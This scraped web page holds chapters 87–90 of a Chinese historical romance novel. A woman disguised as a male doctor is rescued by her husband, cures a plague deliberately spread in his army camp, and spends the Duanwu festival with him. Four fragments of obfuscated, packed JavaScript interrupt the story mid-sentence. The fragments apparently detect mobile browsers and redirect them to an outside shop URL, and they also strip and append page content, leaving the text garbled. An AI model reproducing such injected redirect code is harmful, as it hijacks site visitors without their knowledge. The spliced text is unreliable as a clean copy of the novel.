l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986834|190011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 军营去看一看那里的疫情到底如何,可有她用武之地。她死了,以后就再也不能偎依在奶娘怀里,与两个丫鬟一起抢她们都喜欢的紫玉糕;不能再见到太夫人、国公夫人、顾唯安、傅映瑶、李庸、李照芙、李照槿……,还有,李济。 想到李济,她心里酸楚得很。不知他能否躲过这一劫。如果不能,那也只能与她一起上黄泉了。不过她觉得大概是能的,这个人福大命大,上次那样凶险的伤都没让他送命,这一次应当也不会。虽然自己要死了,她还是希望他好好活着,否则,镇国公府阖府人只怕都会被皇帝屠戮殆尽,她这一番辛苦和牺牲,也就都白费了。 这么对自己说着,心底却有一股不甘愿涌了出来。若是她死了而李济活了下来,腾出了位子,那以后就是别的女子在他身边,或者与他相敬如宾,或者与他嬉笑打闹。京城里那么多对他虎视眈眈的女子,总有一个能入他的眼。 她本就不是什么贤良大方的人,越想心里越不是滋味。 她偏要活着,偏要占着他妻子的名头,让他娶不了别的女子!有本事,他自己亲手来杀了她!反正到了如今,她也没什么可怕的了。 只是,想得虽然痛快,眼前的困境要怎么解决?她要怎么样才能活下来?对方人数众多,又个个身手不凡,再继续这样下去,只怕十六个护卫累也能累死。 为今之计,只有突围。 这么想着,她咬了咬牙,与紫苏对了个眼神,确认她明白了她的意思,然后大声喊道:“让开!软筋散来了!” 刚才对方已见识过她撒的药粉的厉害,见她喊软筋散来了,信以为真,连忙以袖掩鼻。陈灵珠抓住了这一瞬间的空档,将一包药粉朝对面撒出,趁着对方掩鼻的功夫立即按下袖箭,竟又被她击中了三四人。 其实她哪里还有什么软筋散,这一包不过是驱蛇虫的雄黄粉罢了。 对方一昧防卫药粉,倒是没想到她还有袖箭这样的暗器,待反应过来,她早已趁着他们愣神的功夫冲出了他们的包围圈。 一再被暗算,黑脸小胡子大怒,也不管其他的护卫了,率先驱马追了上去。 陈灵珠死命地催马往前奔,不合时宜地想,幸亏李济教过她如何骑马,否则她今日必死无疑。果然技多不压身,多学点东西只有好处没有坏处。 然而她会骑马,那黑脸小胡子更会骑马,马似乎还更好更精神,不多时就追上了几个跟在陈灵珠和紫苏后面的护卫。 护卫一边拿刀剑奋力阻拦小胡子,一边喊道:“公子快走!” 陈灵珠心知她们对护卫来说就是负累,也不迟疑,带着紫苏拼命地往前冲。但没多久,身后又想起了马蹄声,陈灵珠往后一看,是那小胡子追了上来。 被那小胡子追上她们只有死路一条,陈灵珠一边狂奔,一边回头又扬出了一包药粉作掩护,小胡子见状冷冷一笑,虽然放缓了速度,却从箭囊取出一支羽箭,搭在弓上,冷笑着瞄准了陈灵珠的后心。 “嗖、嗖!”黑脸小胡子的两只箭接连射出,势不可挡。 “嗖!嗖!嗖!”又是三支箭的破空之声。 87. 第 87 章 陈灵珠听到连环箭的破空之声,只当自己必死,弓箭入肉的疼痛感却久久未至,她狂奔了一阵回头一看,那黑脸小胡子不知何时已倒于马下。 她疑惑四顾,却见李济带着一队人马,出现在她的眼前,如同神兵天降。 这一刻,她疑心自己将死,出现了幻觉。 不敢置信,她快速眨了眨眼睛。 睁开眼,看到李济还在,她的心头才涌上狂喜。 确实是李济,他还活着!皇帝的阴谋没有得逞! 有他在,自己和紫苏也能活下来了! 可是,李济怎会出现在此处? 李济放出三支箭后收回弓,朝着护卫的方向指了指,跟属下说了几句什么,然后扯了扯缰绳,策马朝她奔了过来。 “你没事罢?” 陈灵珠张了张嘴,想说她没事,却突然眼前一黑,然后就什么都不知道了。 醒来时,她已在一辆马车之上。她坐起身,有些茫然。过了一会儿,记忆渐渐回笼,她摇醒了还在呼呼大睡的紫苏。 紫苏坐起身,揉了揉眼睛,“公子你终于醒了?你都睡了一天一夜了。” 从紫苏口中她得知,救了他们的确实是李济,因幽州军营爆发疫病,他听闻这附近的一个老大夫医术高明,特意亲自来请,没想到老大夫没找到,却遇上他们被追杀,救了他们。而她晕倒,乃是连续两日几乎没有休息,被追杀又死里逃生,一时激动所致。如今他们正在回转军营,这马车是李济见她晕倒,特意找来的。 陈灵珠舒出一口气,不是做梦就好。 应是听到了她们说话,知道她已经醒来,车窗传来敲击声。 紫苏将车窗打开,李济的脸出现在窗口,他看了看陈灵珠,温和道:“吴大夫醒了?” 陈灵珠脑子里还混沌一片,有些愣怔地复述:“吴大夫?” 她路引上的身份确实叫吴楚仁,为了不走漏她离开了京城去往飞雄军军营的消息,镇国公夫妇说过,他们不会就此事传信给李济,让她见了李济以后再自己表明身份。 只是,镇国公夫妇没说,护卫们不知道,紫苏见了他,也没有告诉他吗? 她看向紫苏,紫苏轻轻摇了摇头。她是想说的,但世子身旁一直有人,她也不敢当众说破此事,怕惹来祸患。后来她见世子虽然不知道这就是少夫人,但事事照顾妥帖,似乎不说也没什么妨碍,她又眼皮直打架,便暂时没管这事,让少夫人自己醒来再处理。 李济微笑道:“吴大夫身边这位小兄弟说,吴大夫此番是受家父、家母所托,前往幽州助在下除疫的,吴大夫心怀大义,李某感激不尽。” 说着,朝她一揖。 陈灵珠倒不奇怪他会信紫苏的话,那几个护卫是镇国公的人,李济见了他们,知道她们主仆是护卫们奉镇国公之命特意护送而来,自然不会对紫苏的话起疑。 只是他没认出她,又如此一本正经,这让她微微发窘。她想跟他表明身份,但周围几双眼睛望着他们,一时不好明说,只好先认了吴楚仁这个身份,拱了拱手回礼道:“是,国公爷和国公夫人听闻西南爆发瘟疫,担心幽州受西南波及,因在下略通岐黄之术,特遣在下前来助力。在下虽学艺未精,但必定全力以赴。大将军也不必客气,治病救人乃是大夫本分,更遑论大将军还救了在下,该是在下多谢大将军才是。” 李济道:“若非为了助阵李某,吴大夫不会遇到危险。无论如何,李某在此先谢过吴大夫。” 又道:“家父家母所料不错,幽州军营确实爆发了疫病。” 陈灵珠急忙问:“大将军,疫病是何时爆发的?如今情况如何?我观大将军面色正常,想来未被传染?” 李济想了想,让紫苏下了马车,自己上了车厢。 应是见她口唇干裂起皮,李济解下了自己的水囊,递给了她。 “吴大夫,先喝口水。” 陈灵珠舔了舔唇,这才想起她醒来之后还滴水未进。道了谢,她拿起水囊喝了几口。 李济将疫病的情况告诉了她。 五天前,有几个内侍带着圣旨,踏入了军营。 李济对这些“钦差”早有防备,但那几个内侍完全没有行刺他的意思,圣旨也一昧夸奖,只是宣读完圣旨后,忽然咬破了口中的毒药自尽。 本以为萧煜是想冤枉他杀害钦差,这时收到镇国公府的飞鸽传书,说西南的瘟疫可能会被有心之人传到军营,让他多加小心。 结合到那两个内侍令人费解的举动,苍白的面色,他顿时醍醐灌顶,立即召军医商议对策,并让人去查那两个内侍。 一番调查后才得知,原来那两个传旨的内侍到达幽州前上了一辆载着若干将死未死瘟疫病人的马车,确保自己染上了时疫,这才进了军营。 传圣旨是幌子,传疫病才是目的。 顾不上惊怒,他立即听从军医的建议,将所有接触过那两个内侍的人隔开,但因那两人曾被搜身,进了军营后又极近地接触了十几人,那疫病传染又快,一传十十传百,短短两日,军营中出现症状的就有数百人。 事情真的如她所想,萧煜真的用了这个阴毒的法子来杀李济。 只是,“这么说,大将军也曾接触过那两位钦差,但大将军看起来,并不像染了疫病。” 就算对症下药,恢复也需时日,但李济的面色看起来,完全不像个病人。 这一点,李济初时也觉得奇怪,就在那两个内侍来军营后的次日,当时直接接触过那两个内侍的人几乎都病了,只有他完全没有任何症状。军医、下属们都紧张万分,后来见他一直安然无恙,才放下心来。 后来军医给他分析原因,说一是当时他离那两个内侍较远,二是他身强体壮异于常人,第三,则要归功于他腰间所佩的香囊。 李济的香囊是陈灵珠给他做的,端午节的时候做了一个,后来见味道淡了些,她又给他做了一个。里面放了艾叶、丁香、香草、白芷、甘松、苍术、麝香,菖蒲、藿香等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16994818|190011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,军医判断,应是这些东西恰好对防治瘟疫有效,成功地保护了李济。 见这些草药能防住瘟疫,军医大喜,连夜做了大量相同草药的香囊让将士们佩戴在身上,又另外在军营各处张挂,疫病蔓延的速度果然缓了下来。 她随手所做的香囊竟有这么大的功用,陈灵珠也是没有想到,盯着那香囊看。 李济笑了笑,从腰间解下,递给她道:“便是这个香囊。” 陈灵珠接过,锦布上绣着几片竹叶,打开一看,没错,是她送他的香囊。 他道:“这个香囊不仅救了李某的命,也救了其他将士的命。若不是这个香囊,今日军营中染疫的人数,绝不止两千人。” 陈灵珠看了半晌,将香囊还给李济,道:“没想到这小小香囊还有这等功效。” 李济道:“此香囊是内子亲手所做,李某一直随身携带。” 陈灵珠道:“如此,倒是尊夫人无意中救了大将军了。” 李济微笑道:“内子于李某有大恩,她救李某又何止这一次。” 陈灵珠看着他,想告诉他她便是那个内子,然而她方才虽无意隐瞒,却以吴楚仁的身份与他说了许久的话,突然要说出她便是陈灵珠,似也有些尴尬。 话涌到了嘴边又不知如何开口,她转回正题道:“大将军,这些草药能防疫病,可能治疫病?” 李济摇了摇头。这些药对预防疫病有效,但对已经得了疫病的人,却效果不大。 镇国公府已传了药方来,他也已上奏朝廷,让萧煜知道这疫病没能害死他的同时,不得不安排有司跟进此事。 军营和镇国公府都已广发人手出去寻药,有司也在行动,只是目前得到的药草依然有限。所以这几日,除了少数得到药的和体格格外强健的人,其他得了疫病的将士已没了好些。 他又令军医们尝试别的药方,也四处去寻有名的大夫,但结果并不如人意。 说完疫病情况后李济便下了马车,随后一个军士送来了一只烤得金黄的野鸡,主仆二人分着吃了。紫苏一边吃着,一边低声问她:“公子,你没告诉世子吗?” 陈灵珠摇头。 她也不知怎的,明明大好的机会,却几次说不出口。 她也不是故意要瞒他,只是一到要说的时候,就跟嘴被封住了似的。 也罢,既然他没认出来,她就做个吴大夫罢,凡事也方便些,她也想试一试,没有他的妻子这个身份,她能否在军营做好一个大夫。 填饱了肚子,主仆二人又沉沉地睡了一觉,才勉强将前两日的亏空补了回来。 次日,陈灵珠主仆二人便弃了马车,改为骑马。 又是长途奔袭,又是逃命,陈灵珠主仆的骑术过去短短几日便精进了许多,虽然跟久经沙场的将士没法比,但勉强还算跟得上。只是她主仆二人到底较将士们体弱,李济说大夫如今最为重要,坚持晓行夜宿,不肯太过奔波。 两日后,一行人赶到了幽州军营。 88. 第 88 章 李济让人叫来一位姓王的行军司马,问他这几日疫病的情况。 王司马满面胡须,乱糟糟的胡须盖了满脸,只能看到他两只黑眼睛,饶是如此,仍能从他的双眼看出浓浓焦虑之色。 王司马说,因为将病患隔开得及时,又有药囊的防护,这几日疫病倒没有大规模爆发,但军营里人太多,实在防不胜防,如今零零星星的,感染疫病的已有两千五百余人了。那些已染上时疫的人中,有人染上便发高烧,三四日后水米不能进,再没多久,或是如恶鬼扼喉,或是七窍流血而死。而不过短短几日,首批感染的病患已经死了一半。派出去搜寻药草的人还没有送回所需的药草,军医也已经试了好些个药方,但大多数病人还是没有好转。 王司马摇着头,摊着手,一脸无奈。 李济给他介绍陈灵珠,说这是镇国公府荐来的大夫,姓吴,让他给吴大夫安排一切所需,答吴大夫一切所疑。 王司马看了看面前这个年轻的大夫,应声:“是。” 陈灵珠问他防护的措施,他说,他们一是将病患、军医都隔开,二是让将士们佩香囊,发放避瘟丹,在军营各处悬挂药囊,并定期焚烧艾叶等物。 三是军医进出疫病营时,以药物熏过的油绢布蒙面,一应换下之衣物、用具均用药草熏过方可复用。 他将所用的药囊、还有进出疫病营时所用的油绢布等都拿来给陈灵珠看。 她将药囊打开,见里面除了她做香囊时所用的苍术、艾叶、白芷等药草,还加了雄黄、雌黄、矾石、鬼箭羽、羚羊角等,都是除瘟辟邪之物。 又拿起用艾叶熏过的油绢布细看。《世医得效方》曾提过用油绢布蒙面防疫气,她也看过些病案,此物对疫病防护应当有效。 看来这军营中的军医对如何防治疫病很有心得,一切能想到的都做了。 最后,王司马把这几日给病患用的几个药方拿了过来。 原来为了尽快开出有效的药方,李济让治疫的军医们分成若干班,每班负责一部分的病患,按自己的想法开方子。 这样一来可以避免德高望重的老大夫独断专行,二来,大夫们暗中角力,互相竞逐才更容易有突破。 陈灵珠先看了几个药方,见上面有蒲公英、连翘、黄芩、山楂、白芨、铁皮石斛、马齿苋等物,都是防治时疫的常用药材。 了解得差不多了,陈灵珠道:“大将军,在下想去疫病营看一看。” 李济点了头。 准备妥当,王司马做了个请的姿势,陈灵珠朝李济拱拱手,转头便走。 李济叫住她:“吴大夫!” 陈灵珠回转身,“大将军?” 他叫住她,却又似无话可说了,略顿了顿,郑重道:“疫病凶险,吴大夫千万小心。” 陈灵珠拱手:“多谢大将军提醒。” 说着,跟着王司马去了。 进了疫病营帐,果然里面的人都面如金纸,症状轻些的还只是咳嗽、发热,症状重些的则像被恶鬼掐住脖子一样喘不上气,汗如雨下,或者满床打滚,不断喊痛。状况比陈灵珠以为的还要差,看得她胆战心惊。这副景象,跟在仁心医馆给人看病,完全不是一回事。 陈灵珠所在的庚字军医班的部分大夫看她一眼,暗暗冷嗤一声。 这个人据说是镇国公府荐来的,但如此年轻,见了这些得了疫病的病患又似惊呆,不像个有经验的,更不像个医术高明的,不知镇国公府怎会荐这样一个人来。 回过神,陈灵珠看到了其他军医投来的各种或好奇、或友善、或轻视的目光,暗道惭愧,朝他们拱了拱手,开始给病患看病。 看了好些病人,她对这疫病的症状有了数,晚上回到王司马给她和紫苏准备的单独营帐,琢磨了一晚,第二日找到庚字军医班领头的孔医官,对他道:“孔医官,在下想了一个新的药方,不知能否一试?” 孔医官一口应了下来,并立即报给了王司马,说是吴大夫所提的。王司马没有什么不答应的,庚字军医班开出的药方不见明显效果,换就换罢。何况大将军说了,要给这位吴大夫安排一切所需。 药方子换了,药被病人喝下去了,陈灵珠暗暗期待,晚上回到军营歇息时,梦到自己一举成功,病人们药到病除,围着她说些感谢的话。 但两日过去,庚字营帐里的病患们病情没有丝毫好转,越来越多的病患死去,原本就对陈灵珠的医术十分怀疑的军医们私下里开始嘀嘀咕咕。 陈灵珠不肯认输,又苦苦思索,再鼓捣出一个方子,报给了孔医官。 这一次,孔医官就有些犹豫了。不过他犹豫归犹豫,最后还是答应了。 病人仍然没有明显好转。 庚字军医班那些原本就对陈灵珠有偏见的军医便有些幸灾乐祸,上头也不知道怎么想的,二话不说就让个乳臭未干的小子改了他们的药方,他们还以为这小子是何方神医呢,结果如何? 他们忍不住来到陈灵珠面前,对她冷嘲热讽了一番。 “吴大夫,敢问你师从何人?想必是位了不起的神医罢?” “真是初生牛犊不怕虎,吴大夫年纪轻轻的,倒是有神医的风范,一来就将我们的药方改了。我以为是我们医术不精,所以话也不敢多说,谁知……” “别这么说,后生可畏,说不定吴大夫下一个方子就能药到病除了呢。” “是啊是啊,吴大夫年纪虽轻,但人家有上面支持,胆子又大,多试几次,说不好下一个药方就见效了。” 紫苏听了这些阴阳怪气的话有些受不了,要与他们理论,陈灵珠拉住了她,灰心道:“前辈们说得对,我确实是医术不精。” 说着便垂头丧气地坐到了一旁。 她没以为自己是神医,她有几斤几两,自己心中还是有数的。但她着实没有想到,她绞尽脑汁开出的药方,一点效果也没有。 看来,师父和师叔经常夸她的那些话,还是让她忘乎所以了,她因此而高估了自己,不顾艰难险阻千里迢迢来到幽州,以为可以凭自己的能力做下一番功绩,让世人提起她时,不再称她为谁的女儿、谁的妻子,而是称她为某某大夫。 尽管这个大夫暂时还不能暴露真实身份。 几位军医见她自认医术不精,一时间倒哑了火,有人讪讪道:“这疫病本就没那么好治,吴大夫也不必泄气。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17000002|190011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 又有人道:“是啊是啊,最主要的是军营里没有对症的药草,巧妇难为无米之炊。” 再有人道:“说得对,吴大夫这几日的努力我们都看在眼里,再说了,我们的方子不也没有效嘛?” 说完悚然一惊,糟了,一时口快。 众军医:“……” 虽然是事实,但别说出来可好? 虽然要安慰人,但别垫上自己可好? 那不小心说了真话的军医说完,自己也满脸尴尬,连忙找了个借口跑了。 剩下的几个军医更是面面相觑,连借口都找不出来,支吾着跑了。 人都走光了,陈灵珠站起来,对紫苏道:“走罢。” 紫苏问:“公子,去哪儿?” 陈灵珠边走边道:“再试试去。” 紫苏笑道:“我就知道公子不会这么容易灰心。” 陈灵珠微笑着呼出一口气,其实,灰心是有的,丧气也是真的,但她历经千辛万苦才来到这里,遇到点挫折就认输,那是不可能的。 刚才不过是以退为进,让那些军医别顾着打击她罢了。 她素来有些好胜,这就找来些典籍,挑灯夜读,一直到后半夜还不肯歇下。 陪在旁边的紫苏打了个哈欠道:“公子,刚才有位大哥过来说,大将军说了,疫病当前,所有不当值的人都不许熬夜。公子,我们该熄灯了。” 军规如此,陈灵珠只好睡下,只是脑子里却怎么也平静不下来,将病人的症状、其他军医和自己开的药方翻来覆去地想。 这日天亮,孔医官刚走出营帐,陈灵珠忽然兴冲冲地跑到他面前道:“孔医官,我想到了!我们可以用蟾衣做药引,再辅以白芨、铁皮石斛、马齿苋等药!” 孔医官略略有些犹豫,毕竟前两次这位小吴大夫开的药方的效果,大家都看到了。如今药草都是稀缺之物,他担心这次又跟前上次一样,白白糟蹋了药草,还延误了病情。 但他斟酌了一番,觉得陈灵珠的新药方也不是不可以试一试,便采取了一个折中的法子,将两位病入膏肓的病人分给了陈灵珠,让她死马当活马医,给那两个病人试新药方。 陈灵珠谢过孔医官,亲自抓药、熬药,再小心翼翼地送到分给她的那两个病患面前,看着他们喝了下去。 汤药服下去,陈灵珠让两个病人好好歇着,然后每隔一炷香的时间便去看看他们。 孔医官看她这个样子觉得好笑,对她道:“汤药并非仙丹,就算起效,又怎会这般快?” 陈灵珠何尝不知道这个道理,但她就是忍不住一看再看。 两个病人一直昏昏沉沉地睡着,一时也看不出什么。 但到了傍晚,有一个病人醒了,还吃下了一些稀粥。到了半夜,另一个病人也醒了。再过了一夜,二人都可以让人扶着坐起来,与人说上两句话了。据他们自己说,那种恶鬼扼喉的感觉已经没有了,胸口也没之前那么痛了。 至此陈灵珠便知道,她开的这个药方,对症了。 她忍不住抱住紫苏喜极而泣,她没有高估自己,她真的做到了,师父师叔知道了,只怕也要为她骄傲罢。 89. 第 89 章 过了两旬,疫病营里的时疫病人大多渐渐康复,所有人都松了一口气。 这一日,陈灵珠出了疫病营,更换了衣裳,用过了饭,与紫苏二人来到军医营帐旁的一条小河边闲步。 她微笑着眯了眯眼,她素来有饭后闲步的习惯,但这些时日,她和紫苏忙着治病救人,还没有如此闲适地走过路呢。 一位侯姓军医也在河边,见了她们,略略犹豫,迎上来道:“吴大夫,原先是我等有眼不识泰山,不知吴大夫医术高明,吴大夫大人有大量,不要与我等一般见识。” 侯军医便是前两日说他们的药方也没有见效的军医,陈灵珠这些时日相处下来,也知道他人不坏,笑道:“侯军医言重了,在下医术也称不上高明,不过是有几分运气罢了。我能开出对症的药方,也是前辈们先行尝试的结果。” 侯军医见她目光真挚,应是真的没有怪他们,又见她如此谦虚,不由大为佩服,连声道着惭愧走了。 陈灵珠目送他,正要继续漫步,却见李济微笑着立在道旁。 她微微一愣,“大将军怎在此处?” 李济除了追击溃兵,剿灭胡人的残余势力,控制各重要的战略要地,还要处置战俘,调整驻防等,忙得脚不沾地。 今早还听说他在涿州呢,怎的此刻就出现在这里? 李济没回答她的疑问,只道:“吴大夫攻克疫病,不仅军中的大夫佩服,李某亦十分佩服。” 陈灵珠笑说不敢当,李济又道:“吴大夫治好了感染疫病的将士们,等同救李某于水火,李某感激不尽!请受李某一礼!” 说着深深一揖。 陈灵珠虽然对其他军医态度十分谦逊,但心中也难免暗暗得意,为自己骄傲不已,不过,此刻李济如此郑重其事,又让她有些不好意思起来,上前扶起他,笑道:“在下本就是大夫,治病救人是分内之事,不敢受大将军的礼。何况此次治疫也非在下一人之功,比起在下,其他军医更是功不可没,大将军实在折煞在下。” 李济微笑道:“吴大夫不必过谦。” 说着,往前比了比,示意与她一同往前走走。 二人一同迈步,陈灵珠道:“大将军,如今疫病已除,再过两日在下便要回京了。” 她离开京城已经一月有余,虽然她离开了京城一事暴露的可能很小,但不是没有。她来幽州是治疫病的,既然目标已经达成,她也该启程回京城了。 李济顿了顿,道:“李某不日班师回朝,吴大夫何不与李某同行?军中伤兵还需吴大夫施以援手。” 听他这么说,陈灵珠又有些犹豫起来。与李济一同回京城,别的不说,至少一路上的安全不必担忧。且她虽制过伤药,但对外伤,其实了解得远远不够。多接触些伤兵,对她也有好处。 李济见她犹豫,笑道:“少则七日,至多半月,便可回京。” 陈灵珠本想着再过两三日便离开,七日跟两三日比,也不过是多了几日,便答应下来。 李济笑了笑,道:“那吴大夫今日便搬到中军帐那边罢?” 中军帐与疫病营相隔甚远,如今疫病营剩的病人已经不多,陈灵珠想了想,道好。 过了三日便是端午节,因为刚刚经历疫病的关系,将士们对这个节日格外看重。一大早军营便沸腾起来,将士们将艾草、菖蒲悬挂于营帐门,火头军给大家准备了粽子、雄黄酒等吃食,还有将士三五成群地到河边拜祭屈大夫,到河里沐浴,祛除灾难病痛,祈求如意吉祥。 陈灵珠和紫苏因是女扮男装,并不敢往河边去,只推说放心不下病人,让邀请她们同去的人先行。 但这个借口,并不是在每一个人身上都适用。 明威将军张固拉着陈灵珠,强硬道:“只是去河里洗一洗,拜祭一下屈大夫,能费多少功夫?走走走,咱们一会儿就回来,耽误不了治病救人。” 他拉着她就走,陈灵珠力气敌不过他,被他拉得踉踉跄跄,紫苏急得半死,追上来拉住陈灵珠,两人拉锯,差点将陈灵珠的两边袖子都要扯破。 “张将军,”陈灵珠找借口道:“在□□弱,如今河水甚凉,在下不敢到河里沐浴。将军还是先行一步,待午间河水变温,在下到河边掬两捧水洗洗脸便是。” 张固本就拉着她的手臂,闻言顺手隔着衣裳捏了捏,道:“你这手臂,也忒细了些,比些女子都不如,难怪体弱。既如此,更要去河边祓禊,祈求身体康健。你放心,河水一点儿都不凉。” 对张固来说,冬天下河都不算什么,何况如今已是端午?说着又拉着她要走。 陈灵珠、紫苏主仆二人脸都绿了,正考虑该继续找借口还是翻脸,忽然身体一轻,左臂脱离了张固的掌控,被另一个人拉到了他的身边。 抬头一望,是李济。 李济面色有些发冷,对张固道:“吴大夫既不愿,你为何强人所难?” 张固被李济凶狠的眼神看得后背发凉,更有些莫名其妙。 他也是一片好心,怎的大将军一副他逼良为娼的模样? “大将军,末将只是看小吴大夫一天到晚都待在伤兵营里,想让他歇息歇息。” 他说着说着便有些委屈起来,他也算是大将军的左膀右臂,大将军平日虽严肃,但甚少对他如此疾言厉色,怎的今日一反常态? 小吴大夫治疫有功不假,但两相比较,还是他与大将军更亲近吧? 一个胡子拉碴的糙汉忽然像个孩童一般委屈巴巴,陈灵珠松了口气的同时有些忍俊不禁,差点笑出声来。 李济也缓了神色,拍了拍他的肩膀道:“你虽是好心,但吴大夫既不愿,怎可强人所难?” 又对陈灵珠道:“李某想去周围走走,吴大夫可有兴趣同行?” 如今只要不是去河里洗浴,陈灵珠都答应,忙道:“大将军相邀,在下怎敢不从。” 张固见李济不是真的怪他,霎时将委屈抛之脑后,嘻嘻跟上道:“大将军,末将也陪你一起走走。” 李济道:“不必了,你去河里沐浴了,再仔细看看回朝路线可有疏漏。” 张固张了张嘴,想说看过很多回了,应该不必再看,又想到回朝路线至关重要,再谨慎也不为过,遂挠了挠头,看着二人走远。 陈灵珠与李济出了军营,沿着河边漫步。 今日的河边极其热闹,将士们来自天南地北,端午的习俗也各不相同,除了拜祭屈原之外,有对歌的,有砍了竹子拼成竹排当成龙舟的,有斗草的,有拿香草沐浴的,有送瘟船的,喧哗声一阵接一阵。 陈灵珠兴致勃勃地看了一路,累了,与李济找了处稍稍僻静的河段,找了两块石头坐下。 李济道:“还未问过吴大夫,来了这军营可习惯?” “习惯。”陈灵珠点头,“没什么不习惯的,在军营里当大夫很好。” 又笑道:“军营的端午也别有一番意趣。” 李济微笑道:“那就好。” 他解下酒囊,让陈灵珠喝一口里面的雄黄酒,陈灵珠浅浅抿了一口,就不敢喝了,笑道:“在下量浅,让大将军见笑了。” 李济笑了笑,道:“无妨,只是应应景罢了,喝酒倒在其次。” 她注意到他拿着酒囊的那只手戴着一条五彩绳,似是去年端午她送给他的那一条,笑道:“大将军手上的这条绳子甚是好看。” 李济抬起手轻轻摇了摇,笑道:“是内子去年亲手所编。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002126|190011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其实亲手编的也没什么稀奇,大晋的女子哪个不是每年随手编几个送给亲友,但陈灵珠现在是吴大夫,李济既然提到了他的夫人,情理上,她似乎应当有所表示。 于是她笑着夸自己道:“这五彩绳精巧可爱,尊夫人真是心灵手巧。” 李济笑了笑,很是认同地颔首道:“内子确是蕙质紫苏,灵巧过人。” 陈灵珠心中一动,笑道:“几次听大将军提起尊夫人,在下不禁好奇,尊夫人是个怎样的人。” 李济微笑着看了她一眼,然后道:“内子紫苏蕙性、仁心仁术,能娶她为妻,是李某之幸。” 陈灵珠又道:“此前听大将军说,尊夫人曾救了大将军,大将军对夫人的感情,想必是由此而起了?” 李济道:“内子于我有救命之恩,且非止一次,我对她极是感激。不过我倾心于她,并非因为她的救命之恩。” 陈灵珠道:“哦!那是为何?” 他笑了起来,道:“于我而言,她是这世上最好的女子,我便是不曾为她所救,也必会被她吸引。” 陈灵珠听了这番话,心里跳得极快,却又隐隐觉得哪里不对。 然而还没等她分辨出来,下游离他们不远处来了几个年轻的将士,他们来到河边,二话不说便将身上的衣物脱去,只余下一条裈裤,奔入了河中。 这几人都年轻体壮,身形修长,全身紧实有力,皮肤虽黑,却在太阳的照耀下发着光。陈灵珠这些时日在军营看得男子的身体多了,也不以为意,见那几人笑闹,便看了两眼。 李济道:“此处人多嘈杂,我们换一处地方罢。” 今日是端午,只怕处处都是人多嘈杂,不过陈灵珠本也坐得够久了,便起了身,随他继续朝前走。 来到一处人少的地方,两人停了下来。 五月的天气已是有些热了,陈灵珠见河水清澈,水面被太阳照得波光粼粼,忍不住上前洗了洗手,感受河水的清凉。 正要问李济是否要洗洗手,一转头,却见他已将身上的衣裳除去,只余一条裈裤。 陈灵珠:“……” 李济笑道:“李某出了汗,想到河里浸泡一番,吴大夫可能等我一等?” 陈灵珠:“……” 她尴尬点头,李济笑了笑,缓缓走入河中。 不得不说,李济的身形更修长,肌肉更紧实有力,体态身姿比方才那几人更为好看。 李济往水里走了几步,回头笑了笑,问她:“吴大夫到河边来洗洗脸罢?” 陈灵珠慢慢走到河边,见李济在河里像鱼儿一般游来浮去,将各种洑水的样式换了个遍。许是担心她一人在河边无聊,他时不时游到岸边与她讲话,每当他到了岸边,水珠从他如刀刻的下颌和宽大而健壮的胸膛滚落的时候,她的眼睛就不知该往哪儿放。 怀疑自己面红耳赤,她怕李济看出来,只好频繁掬水拍脸。好在天气甚热,让她这僵硬的举动显得合情合理。 李济足足涤荡了将近半个时辰,游了个尽兴,才缓缓从河里起了身。 他不慌不忙、慢条斯理地将身上的水抹干,然后才从容不迫、气定神闲地穿上了衣裳。 穿戴完毕,他道:“吴大夫的脸甚红,应是热着了,我们快回去罢。” 陈灵珠:“……” 她尴尬笑道:“应当是的。不过不妨事,多谢大将军关心。” 李济点了点头,笑着做个手势,“请。” 两人回到军营,陈灵珠的脸色已经恢复正常。 她跟李济道了别,微笑着泰然自若地回到营帐,在营帐门帘放下的一瞬间用手蒙住了脸。 而李济看着她进了营帐,站了一会儿,笑了笑,转身走开。 90. 第 90 章 当夜,陈灵珠做了一个很奇怪的梦,梦里的她很奇怪,李济也很奇怪。她还是第一次做这样的梦,难免羞涩惊慌,为了避免尴尬,连着几日她都避着李济。 从前她曾强硬地要与李济圆.房,她本以为自己跟他一样是个厚脸皮的,如今才知道,不是她脸皮厚,是她根本不懂男女之事。 懂了,医书上所写的文字就不再只是文字,图画不再只是图画,脸皮也不再是说厚就厚的脸皮。 然而越是要避开,就越是常常遇见。 这两日,因要准备班师回朝一事,李济多数时候都待在军营了。 “吴大夫。” 